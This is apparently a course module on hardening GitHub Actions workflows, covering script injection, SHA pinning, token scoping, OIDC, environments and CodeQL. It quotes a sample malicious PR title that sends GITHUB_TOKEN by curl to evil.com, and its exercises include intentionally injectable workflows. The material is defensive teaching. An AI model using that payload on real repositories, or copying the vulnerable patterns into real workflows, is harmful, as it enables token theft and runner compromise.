Understanding Script Injection Attacks
Script injection is the most critical vulnerability in GitHub Actions workflows. It occurs when untrusted data from GitHub events (pull request titles, issue bodies, commit messages) flows directly into workflow commands without sanitization. An attacker who can control any field that gets interpolated into a run: step can execute arbitrary code on your runner.
${{ github.event.pull_request.title }}, ${{ github.event.issue.body }}, ${{ github.event.comment.body }}, or any user-controlled context directly in a run: step. These are attacker-controlled inputs that enable remote code execution on your CI runners.
How Script Injection Works
GitHub Actions uses expression syntax ${{ }} to interpolate context values into workflow steps. When these values come from user-controllable fields, an attacker can craft malicious input that breaks out of the intended context and executes arbitrary shell commands.
flowchart TD
A[Attacker opens PR with
malicious title] --> B[Workflow triggers
on: pull_request]
B --> C{Does workflow use
github.event.pull_request.title
in run: step?}
C -->|Yes - Vulnerable| D[Expression interpolated
into shell command]
D --> E[Attacker's payload
executes as shell code]
E --> F[Secrets exfiltrated
Code modified
Supply chain compromised]
C -->|No - Safe| G[Input handled via
environment variable]
G --> H[Shell treats input
as literal string]
Consider this vulnerable workflow that greets contributors:
# VULNERABLE - DO NOT USE
name: Greet Contributor
on:
pull_request:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- name: Post greeting
run: |
echo "Thanks for your PR: ${{ github.event.pull_request.title }}"
An attacker creates a PR with this title:
# Malicious PR title:
a]]; curl -s http://evil.com/steal?token=$GITHUB_TOKEN; echo [[
After interpolation, the shell executes:
# What actually runs:
echo "Thanks for your PR: a]]; curl -s http://evil.com/steal?token=$GITHUB_TOKEN; echo [["
Mitigation: Intermediate Environment Variables
The defense is simple: never interpolate untrusted data directly into run: commands. Instead, assign the value to an environment variable first. The shell will treat the variable's contents as a literal string, not executable code.
# SAFE - Using intermediate environment variable
name: Greet Contributor
on:
pull_request:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- name: Post greeting
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "Thanks for your PR: $PR_TITLE"
env: mapping to pass untrusted inputs into run: steps. The environment variable acts as a sanitization boundary — shell expansion treats its value as data, not code. This applies to ALL user-controllable contexts: PR titles, issue bodies, commit messages, branch names, and comment text.
Additional mitigation strategies:
- Use
actions/github-script— JavaScript actions don't have shell injection risk since values are passed as function arguments, not interpolated into shell strings - Validate inputs — Use regex patterns to reject unexpected characters before processing
- Restrict
pull_request_target— This trigger runs with write permissions from the base branch context; never check out PR code in this context - Use Harden-Runner —
step-security/harden-runnerdetects anomalous network calls and file modifications during workflow execution
# Using actions/github-script for safe string handling
- name: Comment on PR
uses: actions/github-script@v7
with:
script: |
const title = context.payload.pull_request.title;
// title is a JavaScript string - no shell injection possible
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
body: `Thanks for "${title}"! We'll review shortly.`
});
Securing Workflows and Preventing Vulnerabilities
Beyond script injection, GitHub Actions workflows face a broader attack surface: malicious third-party actions, over-permissioned tokens, compromised dependencies, and fork-based attacks. A defense-in-depth approach addresses each layer.
Reviewing Third-Party Actions
Every uses: statement in your workflow grants that action's code access to your runner environment, secrets, and GITHUB_TOKEN. Treat third-party actions like third-party dependencies — they are code you're executing in your CI environment.
tj-actions/changed-files action was compromised, affecting 23,000+ repositories. Actions pinned by tag (@v3) were vulnerable; those pinned by SHA were not.
Before using any third-party action:
- Review the source — Read the action's
action.ymland main script. Understand what it does. - Check the publisher — Verified creators (blue checkmark) have undergone GitHub's review. Prefer actions from GitHub itself (
actions/*) or verified organizations. - Audit permissions needed — Does the action require
contents: write? Why? Does it need network access? - Monitor for updates — Use Dependabot to track action version updates and review changelogs.
Pinning Actions by SHA
Tags are mutable — v3 today might point to different code tomorrow. Git commit SHAs are immutable. Always pin production workflows to full commit SHAs:
# BAD - Tag can be moved by maintainer (or attacker)
- uses: actions/checkout@v4
# GOOD - Immutable reference, cannot be tampered with
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
# Also good - SHA with version comment for readability
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
with:
node-version: '20'
step-security/secure-repo to automatically convert tag references to SHA pins across all your workflows. Dependabot can then propose SHA updates when new versions are released, giving you a review opportunity before adopting changes.
# .github/dependabot.yml - Monitor action updates
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Group updates for easier review
groups:
actions:
patterns:
- "*"
Managing GITHUB_TOKEN Permissions
Every workflow run receives an automatic GITHUB_TOKEN with permissions to interact with the repository's API. By default, this token may have read and write access to repository contents, packages, pull requests, and issues — far more than most workflows need.
Default Permissions: Read vs Write
GitHub offers two default permission levels at the repository/organization level:
- Read and write (legacy default) — Token can push commits, merge PRs, create releases, publish packages. Most workflows don't need this.
- Read-only (recommended) — Token can only read repository contents. Write permissions must be explicitly requested per-workflow/job.
Per-Job Permission Scoping
Declare permissions: at both workflow and job level. The job-level declaration takes precedence and should be as restrictive as possible:
name: Hardened CI Pipeline
on:
push:
branches: [main]
pull_request:
# Workflow-level: drop ALL permissions by default
permissions: {}
jobs:
test:
runs-on: ubuntu-latest
# Job-level: only what this job actually needs
permissions:
contents: read # checkout code
checks: write # post test results
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- run: npm test
deploy:
needs: test
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write # Required for OIDC
packages: write # Push container image
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Deploy
run: echo "Deploying..."
permissions: {} at the workflow level (drops everything), then add back only what each job needs. This is the "deny by default, allow explicitly" pattern. If a compromised action tries to push code or create releases, the token simply won't have permission.
Available permission scopes:
| Scope | Read Use Case | Write Use Case |
|---|---|---|
contents |
Checkout code | Push commits, create tags/releases |
pull-requests |
Read PR metadata | Post comments, approve PRs |
issues |
Read issues | Create/edit issues and comments |
packages |
Pull packages | Publish packages |
id-token |
— | Request OIDC JWT for cloud auth |
security-events |
Read alerts | Upload SARIF results |
actions |
Read workflow runs | Cancel/re-run workflows |
deployments |
Read deployments | Create deployments |
Using OpenID Connect (OIDC) for Cloud Authentication
Traditional cloud authentication in CI/CD uses long-lived credentials (AWS access keys, Azure service principal secrets, GCP service account keys) stored as GitHub secrets. These credentials never expire automatically, can be leaked, and provide persistent access if compromised.
OIDC eliminates long-lived secrets entirely. Instead, GitHub Actions requests a short-lived JWT token from GitHub's OIDC provider, and your cloud provider validates this token and issues temporary credentials — typically valid for 15-60 minutes.
sequenceDiagram
participant WF as GitHub Actions Workflow
participant GH as GitHub OIDC Provider
participant CP as Cloud Provider (AWS/Azure/GCP)
participant RES as Cloud Resources
WF->>GH: Request OIDC token
(id-token: write permission)
GH->>GH: Generate JWT with claims
(repo, ref, workflow, actor)
GH-->>WF: Signed JWT token
WF->>CP: Present JWT + Role ARN/Federated Identity
CP->>GH: Validate JWT signature
(/.well-known/openid-configuration)
CP->>CP: Check trust policy
(repo match, branch match)
CP-->>WF: Short-lived credentials
(15-60 min TTL)
WF->>RES: Access resources with
temporary credentials
Configuring OIDC for AWS
# Complete AWS OIDC authentication workflow
name: Deploy to AWS
on:
push:
branches: [main]
permissions:
id-token: write # Required for OIDC token request
contents: read # Required for checkout
jobs:
deploy:
runs-on: ubuntu-latest
environment: production # Optional: ties to environment protection rules
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Configure AWS Credentials via OIDC
uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeployRole
aws-region: us-east-1
# Optional: restrict session duration
role-duration-seconds: 900 # 15 minutes
- name: Deploy to S3
run: aws s3 sync ./dist s3://my-app-bucket --delete
- name: Invalidate CloudFront
run: |
aws cloudfront create-invalidation \
--distribution-id E1234567890 \
--paths "/*"
The AWS IAM trust policy for the role restricts which repositories and branches can assume it:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:ref:refs/heads/main"
}
}
}
]
}
Configuring OIDC for Azure
# Complete Azure OIDC authentication workflow
name: Deploy to Azure
on:
push:
branches: [main]
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Azure Login via OIDC
uses: azure/login@6c251865b4e6290e7b78be643ea2d005bc51f69a # v2.1.1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Deploy to Azure Web App
uses: azure/webapps-deploy@145a0687697df1f6f1e8b54a3603c6ce1d6f4680 # v3.0.1
with:
app-name: my-production-app
package: ./dist
repo:my-org/* means ANY repository in your org can assume the role. A policy that trusts repo:my-org/my-repo:* means any branch — including attacker-created branches — can assume it. Use repo:my-org/my-repo:ref:refs/heads/main or repo:my-org/my-repo:environment:production for maximum restriction.
OIDC subject claim patterns for trust policies:
| Pattern | Matches | Security Level |
|---|---|---|
repo:org/repo:ref:refs/heads/main |
Only main branch pushes | High |
repo:org/repo:environment:production |
Only production environment | Highest |
repo:org/repo:ref:refs/tags/v* |
Only version tags | High |
repo:org/repo:pull_request |
Any PR (use cautiously) | Low |
repo:org/repo:* |
Any trigger from this repo | Medium |
Repository Protection Rules and Environments
GitHub Environments add deployment gates to your workflows — human approval, wait timers, branch restrictions, and environment-scoped secrets. They're the mechanism for preventing unauthorized deployments even if an attacker gains workflow execution.
Required Reviewers
When a job references an environment with required reviewers, the workflow pauses and waits for approval before executing that job. This provides a human checkpoint for sensitive operations:
name: Production Deployment
on:
push:
branches: [main]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- run: npm test
deploy-staging:
needs: test
runs-on: ubuntu-latest
environment: staging # No reviewers - auto-deploys
steps:
- run: echo "Deploying to staging..."
deploy-production:
needs: deploy-staging
runs-on: ubuntu-latest
environment:
name: production
url: https://myapp.com
# This job PAUSES until a required reviewer approves
steps:
- run: echo "Deploying to production..."
Deployment Branch Restrictions
Environment settings allow restricting which branches can deploy to an environment:
- All branches — Any branch can trigger deployment (not recommended for production)
- Protected branches only — Only branches with branch protection rules
- Selected branches — Explicit allowlist (e.g., only
mainandrelease/*)
Environment secrets are only available to jobs that reference that environment. This means a compromised test job cannot access production database credentials — they're gated behind the environment's protection rules:
# Environment secrets are isolated per environment
jobs:
test:
runs-on: ubuntu-latest
# No environment - cannot access production secrets
steps:
- run: echo "Running tests with test DB"
env:
DB_URL: ${{ secrets.TEST_DB_URL }} # repo-level secret
deploy:
runs-on: ubuntu-latest
environment: production
# Only this job can access PROD_DB_URL
steps:
- run: echo "Deploying with production DB"
env:
DB_URL: ${{ secrets.PROD_DB_URL }} # environment-level secret
Security Scanning with CodeQL
CodeQL is GitHub's semantic code analysis engine that finds vulnerabilities by treating code as data. Unlike pattern-matching linters, CodeQL builds a database representing your code's structure and runs queries against it — finding vulnerabilities that span multiple functions, files, or even modules.
# Complete CodeQL scanning workflow
name: "CodeQL Analysis"
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
schedule:
# Run weekly to catch new vulnerability patterns
- cron: '0 6 * * 1'
permissions:
contents: read
security-events: write # Required to upload SARIF results
actions: read # Required for private repos
jobs:
analyze:
name: Analyze (${{ matrix.language }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
language: ['javascript-typescript', 'python']
# Supported: javascript-typescript, python, java-kotlin,
# csharp, cpp, go, ruby, swift
steps:
- name: Checkout repository
uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Initialize CodeQL
uses: github/codeql-action/init@v3
with:
languages: ${{ matrix.language }}
# Use extended query suite for more thorough analysis
queries: +security-extended,security-and-quality
# Autobuild handles most languages automatically
- name: Autobuild
uses: github/codeql-action/autobuild@v3
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v3
with:
category: "/language:${{ matrix.language }}"
Custom Queries and SARIF Integration
CodeQL's power comes from custom queries. You can write organization-specific rules that detect patterns unique to your codebase:
# Using custom CodeQL query packs
- name: Initialize CodeQL
uses: github/codeql-action/init@v3
with:
languages: javascript-typescript
queries: |
+security-extended
+./.github/codeql/custom-queries
config: |
paths-ignore:
- '**/test/**'
- '**/node_modules/**'
query-filters:
- exclude:
tags contain: /maintainability/
You can also upload SARIF results from third-party scanners (Snyk, Semgrep, Trivy) to GitHub's Security tab:
# Upload third-party scanner results as SARIF
- name: Run Trivy vulnerability scanner
uses: aquasecurity/trivy-action@0.24.0
with:
scan-type: 'fs'
format: 'sarif'
output: 'trivy-results.sarif'
severity: 'CRITICAL,HIGH'
- name: Upload Trivy scan results
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: 'trivy-results.sarif'
category: 'trivy'
Best Practices for Secrets and Sensitive Data
Secrets in GitHub Actions are encrypted at rest and only exposed to workflows that reference them. However, proper secrets management goes far beyond just storing values — it encompasses rotation, access control, detection, and audit.
pull_request_target carelessly, (4) composite actions that pass secrets via outputs, (5) error messages from failed API calls. GitHub redacts known secret values in logs, but transformation (base64 encoding, URL encoding) can bypass redaction.
Secret Rotation and Organization
- Rotate regularly — Set calendar reminders for 90-day rotation cycles. Use OIDC where possible to eliminate rotation entirely.
- Use environment secrets — Production credentials should only be available to jobs targeting the production environment with approval gates.
- Dependabot secrets — Separate secret scope for Dependabot workflows. Cannot access regular repository secrets.
- Organization secrets — Share secrets across repos with visibility policies (all repos, private repos, or selected repos).
# Secret hierarchy example
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: npm test
env:
# Repository secret - available to all jobs
API_KEY: ${{ secrets.TEST_API_KEY }}
deploy:
runs-on: ubuntu-latest
environment: production
steps:
- run: deploy.sh
env:
# Environment secret - only available in production environment
DATABASE_URL: ${{ secrets.PROD_DATABASE_URL }}
# Organization secret - shared across repos
DEPLOY_TOKEN: ${{ secrets.ORG_DEPLOY_TOKEN }}
Secret Scanning and Push Protection
GitHub's secret scanning automatically detects committed secrets (API keys, tokens, passwords) in your repository. Push protection blocks pushes that contain detected secrets before they reach the remote:
CODEOWNERS for Workflow Files
Restrict who can modify workflow files by adding a CODEOWNERS rule:
# .github/CODEOWNERS
# Require security team review for workflow changes
.github/workflows/ @my-org/security-team
.github/actions/ @my-org/security-team
Security Hardening Checklist
| Category | Action | Priority |
|---|---|---|
| Permissions | Set org default to read-only token permissions | Critical |
| Permissions | Add permissions: {} at workflow level, grant per-job |
Critical |
| Injection | Never interpolate untrusted data in run: steps |
Critical |
| Injection | Use env: variables for all event context values |
Critical |
| Supply Chain | Pin all third-party actions to full SHA | High |
| Supply Chain | Enable Dependabot for GitHub Actions updates | High |
| Authentication | Use OIDC instead of long-lived cloud credentials | High |
| Authentication | Restrict OIDC trust to specific repos + branches | High |
| Environments | Configure required reviewers for production | High |
| Environments | Restrict deployment branches to main only |
Medium |
| Scanning | Enable CodeQL on all repositories | High |
| Scanning | Enable secret scanning with push protection | Critical |
| Secrets | Use environment secrets for production credentials | High |
| Secrets | Rotate secrets every 90 days (or use OIDC) | Medium |
| Access Control | Add CODEOWNERS for .github/workflows/ |
Medium |
| Access Control | Disable Actions on forks or require approval for first-time contributors | Medium |
| Monitoring | Enable audit log streaming for workflow events | Medium |
| Monitoring | Use step-security/harden-runner for network monitoring |
Medium |
Complete Hardened Workflow Example
This workflow demonstrates all security best practices combined into a production-ready CI/CD pipeline:
# .github/workflows/secure-pipeline.yml
# Demonstrates: minimal permissions, SHA pinning, OIDC,
# environment gates, input sanitization, and monitoring
name: Secure Production Pipeline
on:
push:
branches: [main]
pull_request:
branches: [main]
# Drop ALL permissions by default
permissions: {}
jobs:
# ─── Lint & Test ────────────────────────────────────
test:
runs-on: ubuntu-latest
permissions:
contents: read
checks: write
steps:
- name: Harden Runner
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
with:
node-version: '20'
cache: 'npm'
- run: npm ci
- run: npm test
# ─── Security Scan ─────────────────────────────────
security:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Initialize CodeQL
uses: github/codeql-action/init@v3
with:
languages: javascript-typescript
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v3
# ─── Deploy to Production ──────────────────────────
deploy:
needs: [test, security]
if: github.ref == 'refs/heads/main' && github.event_name == 'push'
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write # OIDC
deployments: write
environment:
name: production
url: https://myapp.com
steps:
- name: Harden Runner
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Configure AWS via OIDC
uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubDeploy
aws-region: us-east-1
role-duration-seconds: 900
- name: Deploy
run: |
aws s3 sync ./dist s3://prod-bucket --delete
aws cloudfront create-invalidation \
--distribution-id ${{ vars.CF_DISTRIBUTION_ID }} \
--paths "/*"
Exercises
Review the following workflow and identify all script injection vulnerabilities. Rewrite it using safe patterns:
name: Issue Labeler
on:
issues:
types: [opened]
jobs:
label:
runs-on: ubuntu-latest
steps:
- run: |
TITLE="${{ github.event.issue.title }}"
BODY="${{ github.event.issue.body }}"
if echo "$TITLE" | grep -i "bug"; then
gh issue edit ${{ github.event.issue.number }} --add-label "bug"
fi
Tasks:
- Identify both injection points
- Rewrite using
env:variables - Add
permissions:with minimum required scope - Consider using
actions/github-scriptas an alternative
Create a workflow that deploys a container to both AWS ECS and Azure Container Apps using OIDC — no long-lived secrets:
- Configure
id-token: writepermission - Use
aws-actions/configure-aws-credentialswith role assumption - Use
azure/loginwith federated credentials - Write the IAM trust policy JSON restricting to
mainbranch only - Write the Azure federated identity credential configuration
- Add an
environment: productiongate requiring approval
Take this intentionally insecure workflow and apply the complete security checklist:
name: Deploy
on: push
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: some-org/deploy-action@main
- run: |
echo "Deploying ${{ github.event.head_commit.message }}"
curl -X POST https://api.mycloud.com/deploy \
-H "Authorization: Bearer ${{ secrets.CLOUD_TOKEN }}"
Apply these fixes:
- Add
permissions: {}at workflow level - Pin actions to SHA
- Fix the script injection in commit message
- Replace the long-lived token with OIDC
- Add environment protection with required reviewer
- Restrict to
mainbranch only - Add
step-security/harden-runner
Set up a CodeQL workflow with custom security scanning:
- Configure CodeQL for JavaScript/TypeScript and Python
- Add the
security-extendedquery suite - Exclude test directories from scanning
- Schedule weekly scans in addition to PR triggers
- Integrate Trivy container scanning with SARIF upload
- Configure branch protection to require CodeQL checks pass
- Set up Slack notifications for critical/high severity findings
Next in the Series
In Module 10: Real-World Project, we'll bring everything together — building a complete production CI/CD pipeline from scratch that incorporates testing, security scanning, multi-environment deployments, and monitoring into a cohesive automated delivery system.